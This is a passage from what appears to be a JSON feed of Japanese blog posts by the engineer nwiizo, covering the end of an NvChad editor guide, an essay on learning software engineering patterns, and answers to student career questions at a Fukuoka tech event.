IDEAのVimプラグインも使っていた時期がある。その過程で、Vimのキーバインドの快適さと、モダンなIDEの便利さ、その両方の良さを実感していた。ただ、どれも何かが違った。なんとなくしっくりこない。そんな中で出会ったのがNvChadだった。そんな中でNvChadに出会い、決め手となったのは開発体制の健全さだった。リポジトリは定期的に更新され、ドキュメントも整備されている。破壊的な変更がある場合も、きちんとアナウンスされ、移行のガイドラインが提供される。コミュニティも活発で、問題が起きた時のサポートも期待できる。nvchad.comさらに、NvChadの設計思想も気に入った。必要最小限の機能を高速に動作させることを重視し、その上で必要な機能を追加できる拡張性を持っている。プラグインマネージャーにlazy.nvimを採用し、起動時間の最適化もされている。LSPやTreeSitterの統合も洗練されており、快適なコーディング環境を提供してくれる。結果として、NvChadは私の理想とするエディタ環境に最も近かった。Vimの哲学を大切にしながら、モダンな開発環境を実現している。もちろん、完璧なエディタは存在しないし、NvChadにも改善の余地はきっとある。しかし、現時点で最も信頼できる選択肢の一つであることは間違いない。Vimを学ぶために通常のVimを学ぶ場合は、「実践Vim 思考のスピードで編集しよう!」がおすすめだ。Vimの基本から応用までを体系的に学べ、実践的な例も豊富に掲載されている。実践Vim 思考のスピードで編集しよう! (アスキー書籍)作者:Drew Neil,新丈 径角川アスキー総合研究所Amazonまた、Vim Adventuresというゲームも面白い。ゲーム感覚でVimのキー操作を学べ、楽しみながら基本的なコマンドが身につく。初心者にも優しい学習カーブで、Vimの世界に入るきっかけとして最適だ。vim-adventures.comしかし、NvChadはこれらの基本的なVimの知識に加えて、モダンなIDE的機能を提供してくれる。このガイドでは、特にNvChad特有の機能に焦点を当てて説明しました。私自身、日々の開発作業でNvChadの恩恵を受けており、その便利さを多くの人と共有したいと考えている。まとめ私はVimを使い始めて数年経つが、今でも新しい発見がある。NvChadも同様で、日々の作業の中で「こんな機能があったのか」と驚かされることが多い。最初は覚えることの多さに圧倒されるかもしれないが、焦る必要はない。私の経験では、まずは基本的なファイル操作から始めるのが良い。保存やコピーといった最低限の操作を確実に覚えることで、日常的な編集作業に支障がなくなる。次に、Telescopeによるファイル検索を習得すると、作業効率が格段に上がる。プロジェクト内のファイルを瞬時に探せるようになり、コードベースの把握も容易になる。その後、LSPの基本機能を学んでいくと良いだろう。定義ジャンプやドキュメント表示は、コードリーディングの強力な味方となる。ウィンドウ操作とバッファ管理、ターミナル操作は、これらの基本操作に慣れてから徐々に取り入れていけば良い。結局のところ、エディタは道具でしかない。完璧に使いこなす必要はなく、自分の作業をサポートしてくれる程度に理解していれば十分だ。このガイドも、そんな私のような「忘れっぽいプログラマー」のための備忘録として活用してもらえれば幸いだ。少しずつでも確実に、自分なりのNvChadの使い方を見つけていってほしい。参考リンクNvChad公式ドキュメントGitHub - NvChad/NvChadNeovim LSP Documentation","isoDate":"2024-11-24T08:16:51.000Z","dateMiliSeconds":1732436211000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"先人の知見から学ぶ、その経験則","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/20/122114","contentSnippet":"この度、Cloud Native における最新の機能やベストプラクティスにおいての学びについて、登壇させていただくことになりました。このテーマについて私なりに取り留めのない思考を整理した考えを共有させていただきます。event.cloudnativedays.jpソフトウェアエンジニアリングの型についてソフトウェアの世界には、プログラミング言語における変数やデータの「型」とは別に、長年の経験と知恵から生まれた様々な型が存在します。ここでいう「型」とは、開発者の思考や行動のパターンを体系化したものを指します。これらの型は、プログラマーが日々直面する問題に対する体系的な解決策を提供します。こうした型は、文脈や状況によって様々な呼び方をします。例えば、同じような問題解決のアプローチでも、ある文脈では「パターン」、別の文脈では「ベストプラクティス」と呼ばれることがあります。また、同じような設計手法でも、技術スタックやチームの文化によって異なる名前で知られていることもあります。このように、型の呼び方は多様ですが、その本質は問題解決のための知恵の結晶であることは変わりません。そのため、このブログでは意図的に「定石」「パターン」「手法」「アプローチ」「作法」「ベストプラクティス」など、様々な呼び方を用いて型を説明していきます。これは、同じような概念や手法が異なる文脈で別の名前で呼ばれている実態を反映させるためです。それぞれの呼び方が持つニュアンスの違いを理解することで、型に対するより深い理解が得られると考えています。いろんな名前の型の種類と特徴まず「定石」は、特定の状況下での最適な対処方法を示します。例えば、データベースにおけるN+1問題の解決方法やメモリリーク対策の手順など、具体的な技術的課題に対する確立された解決策です。次に「パターン」は、一般的な設計上の問題に対する標準的な解決策を提供します。いくつかの文脈で登場しますがコードやソフトウェアの構造化と再利用性を高めます。「手法」は開発プロセスを改善するための具体的な方法論を指します。テスト駆動開発(TDD)、リファクタリング、継続的インテグレーションなどが該当し、より体系的な開発アプローチを可能にします。「アプローチ」は問題解決への基本的な考え方や戦略を示し、ドメイン駆動設計(DDD)やマイクロサービスアーキテクチャなどが含まれます。また、「作法」はコードの品質と保守性を高めるための慣習を表します。SOLID原則、クリーンコード、命名規則などがこれにあたり、チーム開発における共通理解を促進します。「ベストプラクティス」は実践で効果が実証された推奨される方法であり、セキュリティ対策、パフォーマンスチューニング、エラー処理などの具体的な実装手法を含みます。他にも同じような文脈なのにいろんな言い方の「型」があります。aws.amazon.comlearn.microsoft.comcloud.google.com型の重要な特性これらの型には、いくつかの重要な特性があります。まず状況依存性があり、プロジェクトの規模や要件、チームの習熟度、ビジネスドメインによって最適な型が変化します。また、進化と適応の性質も持ち合わせており、新しい技術の登場により型自体が進化したり、既存の型が新しい文脈で再解釈されたり、チームの経験を通じて洗練されていきます。さらに、相互補完性も重要な特性です。複数の型を組み合わせることで相乗効果が生まれ、異なる型が互いの弱点を補完し合います。状況に応じて型を柔軟に組み合わせることが、効果的な問題解決には不可欠です。このように、ソフトウェアにおける「型」は、単なる規則や制約ではなく、効果的な問題解決のための知識体系として機能しています。これらの型を理解し、適切に活用することで、より効率的で品質の高い開発が可能になります。型の存在を認識し、その本質を理解することは、プログラマーとしての成長において重要な要素となるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazonどの巨人の型に乗るのか?ソフトウェアの世界で「定石」を学ぶことは、ある種の賭けのような性質を持っています。最初は論理的な理解が難しい概念や方法論を受け入れる必要があるにもかかわらず、その価値は実践してみないとわからないという矛盾を抱えているためです。多くの場合、「きっと将来役立つはず」という信念に基づいて学習を進める必要があります。この学習における矛盾は、特に高度な開発手法を習得する際に顕著に現れます。例えば、テスト駆動開発(TDD)の習得では、最初はテストを先に書くという一見非効率に思える手法に違和感を覚えるでしょう。しかし、この手法の真価は、実際にプロジェクトで実践し、コードの品質向上や保守性の改善を体験してはじめて理解できます。同様に、アーキテクチャ設計原則の導入においても、初期段階では過度に複雑に感じられる設計パターンや抽象化の価値を理解することは困難です。デザインパターンの学習や関数型プログラミングの考え方も、習得には相当な時間と労力を要します。これらの知識は、直接的な効果が見えにくい一方で、長期的には開発効率と品質を大きく向上させる可能性を秘めています。このジレンマを乗り越えるためには、段階的な学習アプローチと実践を通じた検証が重要になります。小規模なプロジェクトや個人的な開発で新しい手法を試し、その効果を実感することから始めることで、より大きなプロジェクトでの適用に向けた確信と経験を積むことができます。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon作法の習得における難しさ確立された手法(パターン)の習得には、独特の困難さが伴います。その中でも特に重要な課題として、習得前後のジレンマと成長段階による最適解の変化が挙げられます。まず、習得前後のジレンマについて考えてみましょう。体得するまでは本当の価値がわからないという特徴は、多くの開発手法に共通しています。例えば、ある設計パターンを学び始めた時点では、それがどのような状況でどれほどの効果を発揮するのか、具体的にイメージすることが困難です。さらに厄介なことに、体得してしまうと、その影響を客観的に評価しづらくなるという逆説的な問題も存在します。手法が無意識のうちに身についてしまうと、その手法を使わない場合との比較が難しくなり、問題が発生した際に、その原因がパターンの適用にあるのか、それとも他の要因によるものなのか、判断が困難になってしまいます。次に、成長段階による最適解の変化について着目する必要があります。プログラマーとしての習熟度によって最適な手法が変わるというのは、多くの現場で観察される現象です。例えば、初級者の段階では、まずはシンプルな実装手法に焦点を当て、基本的なプログラミングスキルを確実に身につけることが重要です。中級者になると、設計パターンの理解と適切な適用が課題となり、コードの構造化や再利用性を意識した開発が求められるようになります。上級者では、さらに進んで、パターンの取捨選択や状況に応じた最適化が必要となります。また、チームの規模や製品の成熟度によっても適切なアプローチは変化します。小規模なチームでは比較的シンプルな設計で十分な場合でも、チームが大きくなるにつれて、より体系的なアプローチが必要となることがあります。同様に、プロダクトの初期段階では迅速な開発を優先し、成熟期に入ってからより洗練された設計パターンを導入するなど、状況に応じた柔軟な対応が求められます。このように、作法の習得プロセスは単純な知識の蓄積ではなく、様々な要因を考慮しながら、継続的に改善と適応を行っていく必要のある複雑な取り組みと言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazon不適切なパターンを見分けるための3つの条件複雑さという落とし穴不適切なパターンの最も顕著な特徴は、シンプルさの欠如です。優れたパターンには、核となる概念がシンプルで説明が簡潔であり、様々な状況への応用が柔軟に可能という特徴があります。このシンプルさは、単なる実装の簡素さだけでなく、パターンが解決しようとする問題と解決方法の関係性が明確であることを意味します。一方で、複雑な条件分岐が多い実装手法や、例外処理が複雑に絡み合ったエラーハンドリング、過度に抽象化された設計パターンなどは、保守性を低下させる要因となりかねません。特に、抽象化の層が必要以上に深くなると、コードの見通しが悪くなり、バグの温床となる可能性があります。シンプルさを欠いたパターンは、チームメンバー間での共有や理解を困難にし、結果として開発効率の低下やメンテナンスコストの増大を招くことがあります。批判を許さない教条主義検証がタブー視されている状況は、不適切なパターンの存在を示す重要な指標です。「それが会社の方針だから」という説明やレガシーコードの無批判な踏襲、特定の実装パターンへの過度な信仰は、危険な兆候と言えます。このような状況では、パターンの有効性や適用範囲について、客観的な評価や建設的な議論が行われにくくなります。定石の効果は常に検証可能であるべきであり、新しい技術やアプローチとの比較検討を行える環境が必要です。また、チーム内で改善提案が歓迎される雰囲気を醸成することも、健全なパターン活用には不可欠です。例えば、定期的なコードレビューやアーキテクチャ検討会での議論、実装パターンの効果測定など、具体的な検証の機会を設けることが重要です。パターンの効果や適用方法について、オープンな議論と継続的な改善が可能な環境を整えることで、より適切なパターンの選択と進化が促進されます。また、新しいチームメンバーからの質問や疑問を歓迎する文化を作ることで、既存のパターンの妥当性を定期的に見直すきっかけにもなります。魔法の解決策という幻想パターンに対する過度な期待は、不適切な適用を引き起こす大きな要因です。特定のアーキテクチャやパターンへの過度な期待や、新しいフレームワークやツールへの盲目的な信仰は、実装の複雑化や運用コストの増大を引き起こす可能性があります。特に、「銀の弾丸」を求める姿勢は、現実的な問題解決を見失わせる原因となりかねません。どんなパターンにも適用範囲や限界があることを認識し、状況に応じた適切な選択を行うことが重要です。例えば、マイクロサービスアーキテクチャは分散システムの柔軟性を高める可能性がありますが、運用の複雑さやネットワークの信頼性など、新たな課題も同時にもたらします。期待と現実のギャップを冷静に評価し、パターンの適用による実際の効果を慎重に見極める必要があります。これには、パターン導入前後での定量的な指標の比較や、チームメンバーからのフィードバック収集、実際のユーザーへの影響分析など、多角的な評価アプローチが求められます。また、パターンの導入は段階的に行い、各段階での効果を確認しながら進めることで、リスクを最小限に抑えることができます。仮説思考―BCG流 問題発見・解決の発想法 内田和成の思考作者:内田 和成東洋経済新報社Amazon定石の進化と検証確立された手法は、暫定的な真実としての性質を持っています。これは、定石が先人の経験則の集大成として形成されながらも、常に改善の余地があるという特徴を示しています。時代とともに技術は進化し、新しい方法論が生まれることで、既存の定石が見直されたり置き換わったりすることは珍しくありません。この変化を受け入れ、柔軟に適応していく姿勢が重要です。また、定石の適用には段階的な最適化が必要です。プロジェクトの初期段階では、迅速な開発とフィードバックループの確立を重視した手法が有効です。その後、サービスがスケールしていく段階では、パフォーマンスや保守性を考慮したパターンの導入が必要となってきます。さらに、プロダクトが成熟期に入ったメンテナンスフェーズでは、長期的な運用を見据えた定石の適用が求められます。このように、プロジェクトのライフサイクルに応じて、適切な手法を選択し組み合わせていくことが重要です。そして、これらの手法の有効性を担保するためには、継続的な検証が不可欠です。具体的には、パフォーマンス指標による定量的な評価や、実際のユーザーからのフィードバックの収集、さらにはチーム内での定期的な振り返りを通じて、採用している手法の効果を多角的に検証する必要があります。この検証プロセスを通じて、チームは定石の適用方法を改善し、より効果的な開発プラクティスを確立することができます。このような進化と検証のサイクルを通じて、定石は単なる形式的なルールではなく、実践的で価値のある知識体系として発展していきます。重要なのは、定石を固定的なものとして捉えるのではなく、常に改善と適応を繰り返す生きた知識として扱うことです。それによって、チームは変化する要求や技術環境に柔軟に対応しながら、より効果的な開発プロセスを実現することができます。論点思考作者:内田 和成東洋経済新報社Amazonおわりにそもそも、Kubernetesは型の集大成とも言える存在です。PodやDeployment、Service、Operatorなど、その設計思想には分散システム開発における長年の経験と知恵が型として結晶化されています。Kubernetesの各機能は、それぞれが独立した型でありながら、組み合わさることでより大きな価値を生み出しており、まさにここで議論してきた型の相互補完性を体現していると言えるでしょう。ソフトウェアにおける定石やパターンとの付き合い方は、プログラマーとしての成長において重要な要素となります。ここで重要なのは、バランスの取れたアプローチです。定石を完全に否定せず、かといって盲目的にも従わないという姿勢を保ちながら、常に検証と改善を心がけることが大切です。チームや製品の成長に合わせて手法を進化させていくことで、より効果的な開発プロセスを確立することができます。また、開発手法の習得には継続的な学習のサイクルが不可欠です。まずは基本的なパターンを学び実践するところから始め、経験を積みながら定石の本質を理解していきます。その過程で、状況に応じて手法を適応させたり改善したりすることで、より深い理解と実践的なスキルを身につけることができます。さらに、未来への視点を持つことも重要です。現在の課題解決だけでなく、将来の拡張性も考慮に入れた選択を心がけます。新しい技術やアプローチに対してオープンな姿勢を保つことで、より良い解決策を見出す可能性を広げることができます。また、チーム全体での知識と経験の共有を促進することで、組織としての成長も期待できます。定石やパターンは確かに重要な指針となりますが、それは絶対的な真理ではありません。状況や文脈に応じて、柔軟に解釈し適用していく必要があります。プログラマーとして成長するには、確立された手法を理解し、適切に活用しながら、常に改善と進化を続けることが重要です。この継続的な学習と適応のプロセスこそが、真に効果的な開発手法の確立につながるのです。このような姿勢で開発に取り組むことで、個人としての技術力向上だけでなく、チーム全体の生産性と品質の向上にも貢献することができます。ソフトウェアの世界は常に進化し続けており、その中で成長し続けるためには、確かな基礎と柔軟な思考を併せ持つことが不可欠なのです。","isoDate":"2024-11-20T03:21:14.000Z","dateMiliSeconds":1732072874000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"#技育CAMPキャラバン in福岡🗣️で学生の質問に答えた。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/17/003421","contentSnippet":"はじめに先日、技育CAMPキャラバンin福岡に社会人エンジニアとして参加し、学生の皆さんと対話する貴重な機会を得ました。このイベントは一方的な講義形式ではなく、各企業がブースを設け、学生と直接対話できる形式で行われました。talent.supporterz.jp私は株式会社スリーシェイクのSreake事業部に所属しています。当社はインフラエンジニアやSRE特化の企業であり、必ずしも全ての学生エンジニアの志望と合致するわけではありません。そのため、マッチングに時間が余った際には、先輩社会人として学生からの様々な質問に答える時間を持つことができました(もちろん、インフラエンジニアやSREに興味がある学生は応募してほしいです)。jobs-3-shake.com実はこの内容は半分冗談で半分本気なのですが、基本的な生活習慣の重要性は本当に伝えたいメッセージの一つです。なので、後半に参考文献などを貼ってます。もう、おじさんなので学生エンジニアに出会ったら、集中力を高める食事、認知機能を向上させる運動、記憶の定着に不可欠な質の良い睡眠、創造性を引き出す意識的な休憩といった基本的な生活習慣の最適化と、予期せぬチャンスを活かす計画的偶発性理論に基づくキャリア形成の話しかしていない。— nwiizo (@nwiizo) 2024年11月16日 この記事では、学生の皆さんから頂いた質問と回答を整理してまとめました。完璧な内容ではないかもしれませんが、対話を通じてかつての自分自身の悩みや不安が蘇り、過去の自分に語りかけているような不思議な感覚を覚えました。この内容が、ご質問いただいた学生の皆さまはもちろんのこと、同様の悩みを抱えているすべての方々の参考となれば幸いです。なお、各回答は異なる方々からの質問に対して、それぞれの文脈に沿ってお答えしたものとなっております。Q.失敗するのが怖くて全体として中途半端になってしまうこの質問をされた時に分かりすぎて泣きそうになった。エンジニアとして働いてきたり少し長く生きた経験から言えることは、失敗を恐れることよりも、挑戦しないことのほうが人生にとって大きなリスクとなるということです。結局のところ、これは自己愛の問題なのかもしれません。「時間を無駄にしたくない」「労力を無駄にしたくない」「チャンスを無駄にしたくない」。そういった思いが強すぎると、かえって何も始められなくなってしまいます。この「無駄にしたくない」という感情の根底には、自分を大切にする気持ちが強すぎるあまり、逆に自分を縛ってしまうというパラドックスがあります。完璧を求めすぎる。失敗を許せない。その背景には、実は自分への過度な期待や要求があるのです。嫌われる勇気作者:岸見 一郎,古賀 史健ダイヤモンド社Amazonでも、人生は無駄にしても良いんです。むしろ、無駄を恐れるあまり何も挑戦しないほうが、本当の意味で人生を無駄にしてしまうことになります。健全な自己愛とは、失敗しても自分を受け入れられる強さ、完璧でない自分を許せる余裕を持つことなのです。人生で最も価値のあるものは、一朝一夕には手に入りません。技術力も、人間関係も、信頼も、全て時間をかけて少しずつ築き上げていくものです。その時間を掛けられるかどうかは、今この瞬間にどれだけ自分を信じられるかにかかっています。そして、自分を信じるためには、失敗した自分も含めて、まるごと受け入れる覚悟が必要です。実は、本当に価値のあるものには、必ず痛みが伴います。すぐに得られる快楽は往々にして一時的なものですが、時間をかけて獲得したものこそが、本物の価値を持つのです。エンジニアとしての技術力も同じです。一朝一夕には身につかず、時には挫折も味わう。でも、その痛みを受け入れ、耐えることができれば、必ず実を結ぶのです。私自身、数々の失敗を経験してきました。コンテストに出て準備不足で大敗したり、本番環境でのデプロイミス、重要な機能の設計ミス、プロジェクトの見積もり違い、スタートアップへの参画での関わり方の間違いなど。一見すると、これらは全て「無駄な失敗」のように思えます。しかし、これらの失敗は全て、今の私の技術力と判断力の基礎となっています。失敗から学べる環境は、社会人になるとむしろ少なくなります。学生時代は、失敗から学ぶ最高の機会なのです。小さな挑戦から始めて、失敗した時の対応策を事前に考えておく。そして失敗から学んだことを必ず記録し、同じ失敗を繰り返さない仕組みを作る。これが私の失敗との向き合い方です。完璧を目指すのではなく、失敗してもいいと自分に許可を出すこと。そこから本当の挑戦が始まるのです。これは、自分を信頼し、自分を大切にする健全な自己愛の表れでもあります。また、簡単に手に入るものは、簡単に失われます。でも、痛みを伴って得たものは、決して簡単には失われない。この事実を心に留めておいてください。そして、これは自分自身との関係性においても同じことが言えます。自分を大切にしすぎるあまり縛ってしまうのではなく、失敗も含めて受け入れる。その寛容さこそが、本当の意味での自己愛なのかもしれません。超一流になるのは才能か努力か? (文春e-book)作者:アンダース・エリクソン,ロバート・プール文藝春秋AmazonQ.プログラミングがあまり分からなくて不安ですこれはとても一般的な不安です。実は私も、そして多くのエンジニアも同じ経験をしてきました。プログラミングの習得は、多くの人が思い描くような線形的な成長カーブを描きません。理解が全く進まないように感じる時期が長く続き、そしてある日突然、「あ、わかった!」という瞬間が訪れるのです。これは私たちの脳が新しい概念を理解する際によく見られるパターンです。たとえば、プログラミングの各種概念は最初のうちは本当に理解が困難です。でも、ある時を境に急に全体像が見えてくる。それまでモヤモヤしていた霧が晴れるように、概念が腑に落ちる瞬間が必ずやってきます**。だからこそ、今理解できないからと諦めるのは本当に惜しいことです。理解できないのは当たり前の段階なのです。むしろ、理解できなくて当然の時期を耐え忍ぶことこそが、プログラミング習得の本質とも言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonそれと合わせて、私から一つアドバイスさせていただきたいことがあります。それは言語化能力を磨くことです。プログラミングの学習において、概念を言葉で説明できる能力は非常に重要です。なぜなら、自分の理解を言葉にすることで、その理解がより深まり、また他者と共有できるようになるからです。学んだことを日記やブログに書き留めることから始めてみましょう。技術書を読んでその内容を自分の言葉で要約してみる。分からないことを質問する際にも、自分の理解状態を具体的に言語化してみる。これらの活動は、一見するとプログラミングの学習から外れているように思えるかもしれません。しかし、言語化能力はエンジニアにとって、いくら高くても困ることのないスキルです。コードを書く力と、それを説明する力。この両輪があってこそ、真に優れたエンジニアとなれるのです。最後に繰り返しになりますが、今の不安は決して特別なものではありません。理解できないことに耐え、学び続ける勇気さえあれば、必ず道は開けます。今は理解できなくても、それは単に「まだ」理解できていないだけなのです。焦らず、諦めず、そして何より自分を信じて、一歩ずつ前に進んでいってください。ワイド新版 思考の整理学 (単行本 --)作者:外山 滋比古筑摩書房AmazonQ.キャリア形成をするときにどうすればよいでしょうか?10年程度のエンジニア経験を通じて、最も重要だと感じているのは「計画的偶発性」の考え方です。予期せぬチャンスは必ず訪れますが、それを活かせるかどうかは、日頃の準備にかかっています。そして、どのような道を選んでも、基礎的なスキルの習得は必須です。技術力はもちろん、コミュニケーション能力、プロジェクトマネジメントの基礎、ドキュメンテーションスキルなど、技術以外の部分が実は大きな差を生みます。これらを支えるのが規則正しい生活習慣です。質の良い睡眠、バランスの取れた食事、適度な運動。この当たり前のことを当たり前にできることが、長期的なキャリアを支える土台となります。最後に付け加えておきたいのは、最初の選択が全てを決めるわけではないということです。キャリアは常に変化し続けるものであり、必要に応じて軌道修正することも可能です。大切なのは、その時々で最善と思える選択をし、その環境で最大限学び、成長することです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版AmazonQ.就活のときに気にしたほうがいいこと就職活動で自分が気にしていたのは相手の立場や背景を理解したコミュニケーションです。人事部門、現場エンジニア、経営層など、話す相手によって重視する観点が異なります。同じ経験や能力でも、相手の関心に応じて伝え方を工夫する必要があります。人事との対話では、将来のキャリアビジョンやチームへの貢献について。現場エンジニアとは技術的な興味や具体的な実装経験について。経営層にはビジネスへの理解や組織全体への価値提供について。このように文脈に応じて自分の強みを効果的に伝えられることが重要です。また、会社選びにおいては技術環境だけでなく、育成・評価制度やチームの雰囲気も重要な要素です。メンター制度の有無、技術研修の充実度、キャリアパスの明確さ。そしてチーム内のコミュニケーションスタイル、残業や休暇の取得状況、チーム間の連携方法。これらが実際の働きやすさを大きく左右します。このような状況に応じたコミュニケーション能力は、就活だけでなく、その後のエンジニアとしてのキャリアでも大きな差となって現れます。相手の関心や視点を理解し、それに応じて自分の経験や考えを効果的に伝える。これは単なる処世術ではなく、エンジニアに求められる重要なスキルの一つなのです。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonQ.学生の間でやったほうがいいこと正直に申し上げると、この質問に対する模範解答を示すことは避けたいと思います。なぜなら、誰もが自分の人生の主人公であり、その選択に責任を持つべきだからです。ただし、一つだけ確実に言えることがあります。それは、誰もあなたを救ってくれないということです。社会人になってから「あの時こうしておけば良かった」と思うことは誰にでもあります。しかし、それはその時の自分が選択した結果であり、その選択に対する責任は自分自身にあるのです。あなたの人生の舵を取れるのは、あなただけです。そして、その選択の結果として感じる後悔も、あなただけのものです。他人の経験談や助言は参考程度に留め、最終的には自分で考え、決断し、その結果に向き合う覚悟を持ってください。SOFT SKILLS ソフトウェア開発者の人生マニュアル 第2版作者:ジョン・ソンメズ日経BPAmazonQ.SREって何ですか?この質問に関しては、私が以前書いた「点でしかないものを線で見る為に - 「SREの前に」」というブログ記事と登壇資料を紹介しました(同運営イベントなので・・・)。syu-m-5151.hatenablog.comこの記事では、SREの考え方や、実践に必要な基礎知識について詳しく解説しています。あとはインフラエンジニア版の競技プログラミングサイトを紹介した。sadservers.comQ.生産性を上げる方法はありますか?私からの回答は明確です。「スマートフォンを制限すること」に尽きます。現代の最大の生産性の敵は、実はポケットの中にあります。スマートフォンは素晴らしいツールですが、使い方を誤ると大きな時間泥棒となります。これは単なる時間管理の問題ではありません。スマートフォンやSNSは、意図的に依存性を持つように設計されています。「ついスマホを見てしまう」「暇があれば通知をチェックしている」「SNSやYouTubeを見ていたら、気づいたら何時間も経っていた」—これらは偶然ではありません。これらのプラットフォームは、ドーパミンという報酬物質を放出させ、継続的な使用を促す仕組みになっているのです。その影響は私たちの生活のあらゆる面に及びます。集中力の低下により、情報過多で何をしようとしていたのかを忘れてしまう。メンタルヘルスへの悪影響として、衝撃的なニュースや他人の投稿を見て不安や劣等感を感じる。さらには睡眠の質の低下をもたらし、就寝前の使用が質の良い睡眠を妨げています。では、具体的にどうすれば良いのでしょうか。まずは物理的にスマホを遠ざけることから始めましょう。自分の部屋に置かないという選択は、思い切った対策に思えるかもしれませんが、効果は絶大です。目覚まし時計などのような、スマホの代替となるツールを積極的に活用することで、依存度を下げることができます。そして何より大切なのは、リアルで人と会って交流することです。オンラインのつながりに頼りすぎると、かえって孤独感が深まることがあります。実際の対面でのコミュニケーションは、心の健康を保つ上で非常に重要です。重要なのは、これは決してあなたの意志の弱さが原因ではないということです。現代のテクノロジーは、人間の脳の仕組みを巧妙に利用するように設計されています。だからこそ、意識的な制限と代替手段の確保が必要なのです。休憩時間もスマートフォンに頼るのではなく、軽い運動や瞑想を取り入れる。寝る前の読書習慣をつけるなど、スマートフォンに依存しない生活リズムを作ることで、驚くほど生産性が向上します。あなたの本来の能力を最大限に発揮するために、まずはスマートフォンとの適切な距離感を見つけることから始めてみてください。スマホ脳(新潮新書)作者:アンデシュ・ハンセン新潮社AmazonQ.周りのすごい人と比べてしまって落ち込みますこの悩みをよく聞きます。俺も思います。確かに私たち人間は、ついつい目に見えるラベルで判断してしまいがちです。学歴、過去の実績、Xのフォロワー数、有名企業でのインターン経験、GitHubのスター数など。でも、エンジニアの本当の凄さは、そんな表面的なところにはありません。人生は、運よりも実力よりも「勘違いさせる力」で決まっている作者:ふろむだダイヤモンド社Amazon私が長年エンジニアとして働いてきて確信しているのは、本当に優れたエンジニアの価値は、その人が直面する問題をどう解決するか、チームにどう貢献するか、そして日々どう成長していくかにあるということです。時には、ほんの些細な気づきや熱量や視点の違いが、大きなアウトプットの差を生むことがあります。これは学生時代に限らず、社会人になってからも同様です。確かに、自分が目指したいキャリアイメージに向けて、意識的にある種のラベルを獲得しようとすることは否定しません。それも一つの戦略です。ただし、より重要なのは、自分の思考プロセスや行動を明確に言語化できる能力です。「なぜその選択をしたのか」「どのように問題を解決したのか」を論理的に説明できる人は、社会に出てからより高く評価される傾向にあります。肩書きや過去の実績は、その人の一部分でしかありません。むしろ、今この瞬間にどれだけ真摯に技術や事業と向き合っているか、どれだけ学ぼうとする意欲があるか、そしてどれだけチームに価値をもたらしているか。そういった日々の積み重ねこそが、エンジニアとしての本質的な価値を形作っていくのです。だからこそ、表面的なラベルで自分を判断する必要はありません。あなたにしかできない貢献の仕方があり、あなたにしかない成長の道筋があるはずです。重要なのは、自分の考えや行動を明確に言語化し、それを他者と共有できること。そして、他の人と比べるのではなく、昨日の自分と比べて、一歩ずつでも確実に前に進んでいくことです。いかにして問題をとくか作者:G.ポリア丸善出版Amazon余談ですが、技術的な記事を書いたり登壇したりすることで「いいね」を集めたり、ハッカソンやビジネスコンテストで賞を獲得したりすることで得られる達成感は、一時的な快感に過ぎず、あくまでも外部からの評価でしかありません。イベントやSNSでの反響は確かにモチベーションの維持や目標設定には有効です。しかし、それを自分の技術力の証明と混同してしまうのは危険です。特に、外部での評価が高まると実際の技術力以上に自己評価が膨らみがちです。定期的に競技プログラミングやISUCON、CTF、学生ならICTSCにでも参加して、自分の現在地を冷静に確認することをお勧めします。結局のところ、ソフトウェアエンジニアにとって最も大切なのは、地道なコーディングと技術力の着実な積み重ねなのです。質問ではないのですが投稿まとめツイートの内容をサクッとまとめます。エンジニアの間で「運動が大切だ」という話をよく耳にします。確かにその通りですが、健康維持には運動以外にも同等に重要な要素が複数あります。これは人生の多くの側面に当てはまる話です。「すごい」と感じる人に出会ったとき、その瞬間にその人と自分の実力差や実績の差に圧倒されがちですが、実はそれは表面的な差でしかありません。大切なのは、基本的な生活習慣を整え、地道な努力を10、20年単位で継続できるかどうかです。短期的には大きな差が付いているように見えても、正しい生活習慣と共に粘り強く継続することで、必ず追い付き、追い越すことができます。運動脳作者:アンデシュ・ハンセンAmazon質の良い睡眠は、技術の習得と定着に直接的な影響を与えます。睡眠中、脳は日中の学習内容を整理し、長期記憶として定着させる重要な作業を行っています。しかし、多くのエンジニアは必要な睡眠時間を確保できていない「睡眠負債」の状態にあります。これは単なる「睡眠不足」という言葉で片付けられる問題ではありません。借金と同じように、睡眠負債は返済が滞ると、脳も体も思うように機能しなくなり、最終的には「眠りの自己破産」を引き起こしてしまいます。その結果、集中力の低下、記憶力の減退、さらには深刻な健康上の問題まで引き起こす可能性があります。特に危険なのは、睡眠負債による「マイクロスリープ(瞬間的居眠り)」です。1秒未満から10秒程度の意識の途切れは、本人も気づかないうちに起こり、作業中の重大なミスや事故につながりかねません。コードレビューやインフラ作業など、高度な注意力を要する作業において、これは深刻な問題となります。対策として重要なのは、就寝前のブルーライトを避け、規則正しい睡眠サイクルを維持することです。週末の寝だめでは解決しない睡眠負債を作らないよう、平日から意識的に睡眠時間を確保することが、長期的な学習効率と作業パフォーマンスを支える土台となります。スタンフォード式 最高の睡眠作者:西野 